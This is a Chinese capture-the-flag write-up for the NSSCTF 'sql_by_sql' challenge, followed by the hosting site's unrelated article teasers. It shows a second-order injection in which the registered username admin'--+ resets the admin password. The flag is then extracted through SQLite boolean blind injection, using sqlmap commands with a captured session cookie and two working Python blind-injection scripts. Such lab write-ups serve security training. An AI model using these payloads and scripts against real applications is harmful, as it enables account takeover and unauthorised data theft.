[NSSRound#1 Basic]sql_by_sql - 二次注入+布尔盲注||sqlmap

news2024/11/18 11:23:55

1
进入注册界面后
  假设sql:update user set password = ‘’ where username = ‘’ and password = ‘’
    此时如果我们注册的用户名是admin’–+、admin’#、admin’–的话
  update user set password = ‘123’ where username = ‘admin’#’ and password = ‘’

1、所以先注册名为:admin’–+的用户,这样就可以直接修改admin密码,登录后,获取cookie
2、用户界面提供查询功能,但是只能查有或没有该用户,而且不会出现报错,说明是sqllite数据库

方法一:sqlmap
尝试利用sqlmap爆破,因为查询是在query层次,且是post,所以我们的sqlmap代码如下:
py sqlmap.py -u "http://node4.anna.nssctf.cn:28138/query" --data="id=1" --cookie="eyJyb2xlIjoxLCJ1c2VybmFtZSI6ImFkbWluIn0.ZOvyaQ.m7kRbsLxlP5nQfHHxv4WpfnAePQ"
——如果这里的url写错了,是查不到的,而且cookie很重要,非admin的cookie无法进行查询
——查询结果
  Parameter: id (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 1049=1049
py sqlmap.py -u "http://node4.anna.nssctf.cn:28138/query" --data="id=1" --cookie="eyJyb2xlIjoxLCJ1c2VybmFtZSI6ImFkbWluIn0.ZOvyaQ.m7kRbsLxlP5nQfHHxv4WpfnAePQ" --table
py sqlmap.py -u "http://node4.anna.nssctf.cn:28138/query" --data="id=1" --cookie="eyJyb2xlIjoxLCJ1c2VybmFtZSI6ImFkbWluIn0.ZOvyaQ.m7kRbsLxlP5nQfHHxv4WpfnAePQ" -T flag --columns
py sqlmap.py -u "http://node4.anna.nssctf.cn:28138/query" --data="id=1" --cookie="eyJyb2xlIjoxLCJ1c2VybmFtZSI6ImFkbWluIn0.ZOvyaQ.m7kRbsLxlP5nQfHHxv4WpfnAePQ" -T flag -C flag --dump
得到flag=NSSCTF{b10c030d-ff18-43ce-b0a8-61cf26d9c070}

方法二:手动盲注+py脚本
用burpsuite抓包,判断id类型,使用id=1 or 1=1,如果是字符型则会提示不存在,但是这里明显可以执行,说明id是数字型
1、构造sql注入语句,由于sqllite数据库,sql的保留字会有所区别
2、SQLite中没有ascii()函数,所以我们盲注时需要直接和字符比较
1 and substr((select group_concat(name) from sqlite_master where type='table'),1,1)='a' —— 查表名
……
脚本:

import requests
from string import *
url="http://1.14.71.254:28287/query"
result=''
str=ascii_letters+digits+"{}-_"
for x in range(38,100):
    print("this is",x)
    for i in str:
        query="-1 or substr((select group_concat(name) from sqlite_master),{},1)>'{}'"
        #query="-1 or substr((select group_concat(sql) from sqlite_master where name='flag'),{},1)>'{}'"
        #query="-1 or substr((select flag from flag),{},1)='{}'"
        data={"id":query.format(x,i)}
        # print(data)
        res=requests.post(url=url,data=data)
        print(res.text)
        if "exist" in res.text:
            result+=i
            print(result)
            # flag=False
            break
print(result)

脚本2:

import requests

true_result = 'exist'    #正确的回显
url = 'http://1.14.71.254:28033/query'

def table_name(url):
    table_name = ''
    select = "select name from sqlite_master where type='table' limit 1,1"
    for i in range(1, 60):
        tablelength_payload = f'''1 and length(({select}))={i}'''
        data = {'id':tablelength_payload}
        response = requests.post(url=url, data=data)
        if true_result in response.text:
            print("table length : "+str(i))
            for j in range(1, i + 1):
                print('[*]now in {}'.format(j))
                for asc in range(33, 127):
                    ss = chr(asc)
                    table_payload = f'''id=1 and substr(({select}),{j},1)=\'{ss}\''''
                    data2 = {'id':table_payload}
                    res = requests.post(url=url, data=data2)
                    if true_result in res.text:
                        table_name = table_name + chr(asc)
                        print(table_name)
                        break
            break
def column_name(url):
    column_name = ''
    select = "select sql from sqlite_master where type='table' and name = 'flag'"
    for i in range(1, 100):
        columnlength_payload = f'''1 and length(({select}))={i}'''
        data = {'id':columnlength_payload}
        response = requests.post(url=url, data=data)
        if true_result in response.text:
            print("column length : "+str(i))
            for j in range(1, i + 1):
                print("[*]now in {}".format(j))
                for asc in range(33, 127):
                    ss = chr(asc)
                    column_payload = f'''1 and substr(({select}),{j},1)=\'{ss}\''''
                    data2 = {'id': column_payload}
                    res = requests.post(url=url, data=data2)
                    if true_result in res.text:
                        column_name = column_name + chr(asc)
                        print(column_name)
                        break
            break
def getflag(url):
    for i in range(1,60):
        flag = ''
        select = "select flag from flag limit 0,1"
        flaglength = f'''1 and length(({select}))={i}'''
        data = {'id': flaglength}
        response = requests.post(url=url, data=data)
        if true_result in response.text:
            print("flag length : "+str(i))
            for j in range(1, i+1):
                print("[*]now in {}".format(j))
                for asc in range(33,127):
                    ss = chr(asc)
                    flagpayload = f'''1 and substr(({select}),{j},1)=\'{ss}\''''
                    data2 = {'id': flagpayload}
                    res = requests.post(url=url, data=data2)
                    if true_result in res.text:
                        flag = flag+chr(asc)
                        print(flag)
                        break
            break
#table_name(url)
#column_name(url)
getflag(url)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1062887.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

[NISACTF 2022]hardsql - quine注入

题目描述:$password$_POST[passwd]; $sql"SELECT passwd FROM users WHERE usernamebilala and passwd$password;"; 从描述看出是quine注入,且用户名要是bilala 1、经测试,参数为:username&passwd&login登录&a…

重置系统后出现 press F12 to clear the tpm press Esc to reject this chan

案例分享: 外星人M15 R7重置系统后出现下图问题,暂时不能下一步。 原文如下: A configuration change was requested to Clear this computers TPM (Trusted platform module) warning:clearing erases information stored on the tpm.you …

正向代理和反向代理

正向代理和反向代理 1.正向代理和反向代理,squid,Nginx2.正向代理主要作用:3.反向代理主要作用:4.透明代理 1.正向代理和反向代理,squid,Nginx 1.用途不同:正向代理的典型用途是为在防火墙内的…

深度学习-卷积神经网络-AlexNET

文章目录 前言1.不同卷积神经网络模型的精度2.不同神经网络概述3.卷积神经网络-单通道4.卷积神经网络-多通道5.池化层6.全连接层7.网络架构8.Relu激活函数9.双GPU10.单GPU模型 1.LeNet-52.AlexNet1.架构2.局部响应归一化(VGG中取消了)3.重叠/不重叠池化4…

一文解释mapState的来龙去脉

mapState Vuex 提供的辅助函数之一,将 store 中的状态映射到组件的计算属性中,使得在组件中可以轻松地访问 Vuex store 中的状态值 MapState(映射状态) 在我们的 Count.vue 组件中,可以使用 mapState 来更简洁地获取 count 的状态值 首先&…

毕设-原创医疗预约挂号平台分享

医疗预约挂号平台 不是尚医通项目,先看项目质量(有源码论文) 项目链接:医疗预约挂号平台git地址 演示视频:医疗预约挂号平台 功能结构图 登录注册模块:该模块具体分为登录和注册两个功能,这些…

Android 开发错误集合

🔥 开发错误集合一 🔥 Caused by: java.lang.ClassNotFoundException: Didnt find class "com.mask.app.ui.LoginRegisterActivity" on path: DexPathList[[zip file "/data/app/~~NMvHVhj8V6-HwGbh2amXDA/com.mask.app-PWbg4xIlETQ3eVY…

解密京东面试:如何应对Redis缓存穿透?

亲爱的小伙伴们,大家好!欢迎来到小米的微信公众号,今天我们要探讨一个在面试中可能会遇到的热门话题——Redis缓存穿透以及如何解决它。这个话题对于那些渴望进入技术领域的小伙伴们来说,可是必备的哦! 认识Redis缓存…

javaWeb蛋糕商城(前后台)

一、项目功能 1.前台功能 商品基本展示,包括推荐商品展示和类型商品展示.推荐商品包括条幅推荐,热销推荐和新品推荐.按照商品类型展示商品.商品详细信息展示.商品加入购物车.修改购物车内商品信息,例如数量等.用户登录.用户注册.修改个人信息,包括密码和收获信息.购物车付款.…

数值分析学习笔记——误差【华科B站教程版本】

误差 误差:一个物理量的真实值与计算值之间的误差 误差来源与分类 模型误差:对问题所抽象出来的数学/物理模型是误差的,比如要有一些假设条件才进行理论的推导观测误差:测量得到的模型的参数的值的误差方法误差(截断…

React项目部署 - Nginx配置

写在前面:博主是一只经过实战开发历练后投身培训事业的“小山猪”,昵称取自动画片《狮子王》中的“彭彭”,总是以乐观、积极的心态对待周边的事物。本人的技术路线从Java全栈工程师一路奔向大数据开发、数据挖掘领域,如今终有小成…

保险业SAP转型:奠定坚实的基础

保险业面临着许多新的挑战:从新的市场参与者到人工智能和物联网。如何在这种快节奏的现实中满足客户的需求,降低成本,加速增长?首先,让我们考虑一下数字化转型成功是什么样子的,以及如何实现它。在这篇文章…

Python 列表推导式深入解析

Python 列表推导式深入解析 列表推导式是 Python 中的一种简洁、易读的方式,用于创建列表。它基于一个现有的迭代器(如列表、元组、集合等)来生成新的列表。 基本语法: 列表推导式的基本形式如下: [expression for…

HJ33整数与IP地址间的转换

描述 原理:ip地址的每段可以看成是一个0-255的整数,把每段拆分成一个二进制形式组合起来,然后把这个二进制数转变成 一个长整数。 举例:一个ip地址为10.0.3.193 每段数字 相对应的二进制数 10 000…

程序三高的方法

程序三高的方法 目录概述需求: 设计思路实现思路分析1.1)高并发 参考资料和推荐阅读 Survive by day and develop by night. talk for import biz , show your perfect code,full busy,skip hardness,make a better result,wait for change,c…

【SpringBoot】多环境配置和启动

环境分类,可以分为 本地环境、测试环境、生产环境等,通过对不同环境配置内容,来实现对不同环境做不同的事情。 SpringBoot 项目,通过 application-xxx.yml 添加不同的后缀来区分配置文件,启动时候通过后缀启动即可。 …

[架构之路-231]:计算机硬件与体系结构 - 性能评估汇总,性能优化加速比

目录 一、计算机体系结构 二、计算机性能评估 2.1 分类方法1 2.2 分类方法2 三、常见的专项性能测试工具 3.1 浮点运算性能(FLOPS) 3.2 综合理论性能法 3.3 历史基准测试(跑分软件):通过运行典型的综合性的程序…

012-第二代硬件选型

第二代硬件选型 文章目录 第二代硬件选型项目介绍重新换平台缘由X86 && Arm 架构切换 ARM Linux 硬件选型系统确定Qt 版本确定总结一下 关键字: Qt、 Qml、 Arm、 X86、 linux 项目介绍 欢迎来到我们的 QML & C 项目!这个项目结合了 QM…

Java笔记七(封装,继承与多态)

封装 该露的露,该藏的藏 程序设计追求“高内聚,低耦合”。高内聚就是类的内部数据操作细节自己完成,不允许外部干涉;低耦合:仅暴露少量的方法给外部使用 封装(数据的隐藏) 通常,…

mysql面试题20:有哪些合适的分布式主键方案

该文章专注于面试,面试只要回答关键点即可,不需要对框架有非常深入的回答,如果你想应付面试,是足够了,抓住关键点 面试官:有哪些合适的分布式主键方案? UUID:UUID通常是由一个二进制的128位整数表示,可以保证全局的唯一性。在Java中,可以通过UUID类生成一个UUID。例…